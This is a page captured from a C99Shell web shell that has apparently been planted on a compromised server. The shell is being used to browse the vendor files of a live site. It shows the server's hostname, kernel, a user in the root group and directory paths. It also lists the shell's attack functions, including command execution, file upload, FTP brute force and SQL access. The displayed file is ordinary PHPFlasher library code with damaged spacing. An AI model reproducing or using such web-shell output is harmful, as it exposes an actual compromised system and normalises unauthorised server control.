!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/php-flasher/flasher/Response/   drwxr-xr-x
Free 29.12 GB of 117.98 GB (24.69%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ResponseManager.php (3.28 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the PHPFlasher package.
 * (c) Younes KHOUBZA <younes.khoubza@gmail.com>
 */

namespace Flasher\Prime\Response;

use 
Flasher\Prime\EventDispatcher\Event\PresentationEvent;
use 
Flasher\Prime\EventDispatcher\Event\ResponseEvent;
use 
Flasher\Prime\EventDispatcher\EventDispatcher;
use 
Flasher\Prime\EventDispatcher\EventDispatcherInterface;
use 
Flasher\Prime\Notification\Envelope;
use 
Flasher\Prime\Response\Presenter\ArrayPresenter;
use 
Flasher\Prime\Response\Presenter\HtmlPresenter;
use 
Flasher\Prime\Response\Presenter\PresenterInterface;
use 
Flasher\Prime\Response\Resource\ResourceManager;
use 
Flasher\Prime\Response\Resource\ResourceManagerInterface;
use 
Flasher\Prime\Storage\StorageManager;
use 
Flasher\Prime\Storage\StorageManagerInterface;

final class 
ResponseManager implements ResponseManagerInterface
{
    
/**
     * @var array<string, callable|PresenterInterface>
     */
    
private $presenters;

    
/**
     * @var ResourceManagerInterface
     */
    
private $resourceManager;

    
/**
     * @var StorageManagerInterface
     */
    
private $storageManager;

    
/**
     * @var EventDispatcherInterface
     */
    
private $eventDispatcher;

    public function 
__construct(ResourceManagerInterface $resourceManager nullStorageManagerInterface $storageManager nullEventDispatcherInterface $eventDispatcher null)
    {
        
$this->resourceManager $resourceManager ?: new ResourceManager();
        
$this->storageManager $storageManager ?: new StorageManager();
        
$this->eventDispatcher $eventDispatcher ?: new EventDispatcher();

        
$this->addPresenter('html', new HtmlPresenter());
        
$this->addPresenter('json', new ArrayPresenter());
        
$this->addPresenter('array', new ArrayPresenter());
    }

    
/**
     * {@inheritdoc}
     */
    
public function render(array $criteria = array(), $presenter 'html', array $context = array())
    {
        
$envelopes $this->storageManager->filter($criteria);

        
$this->storageManager->remove($envelopes);

        
$event = new PresentationEvent($envelopes$context);
        
$this->eventDispatcher->dispatch($event);

        
$response $this->createResponse($event->getEnvelopes(), $context);
        
$response $this->createPresenter($presenter)->render($response);

        
$event = new ResponseEvent($response$presenter);
        
$this->eventDispatcher->dispatch($event);

        return 
$event->getResponse();
    }

    
/**
     * {@inheritdoc}
     */
    
public function addPresenter($alias$presenter)
    {
        
$this->presenters[$alias] = $presenter;
    }

    
/**
     * @param string $alias
     *
     * @return PresenterInterface
     */
    
private function createPresenter($alias)
    {
        if (!isset(
$this->presenters[$alias])) {
            throw new 
\InvalidArgumentException(sprintf('Presenter [%s] not supported.'$alias));
        }

        
$presenter $this->presenters[$alias];

        return 
\is_callable($presenter) ? $presenter() : $presenter;
    }

    
/**
     * @param Envelope[] $envelopes
     * @param mixed[]    $context
     *
     * @return Response
     */
    
private function createResponse($envelopes$context)
    {
        
$response = new Response($envelopes$context);

        return 
$this->resourceManager->buildResponse($response);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.005 ]--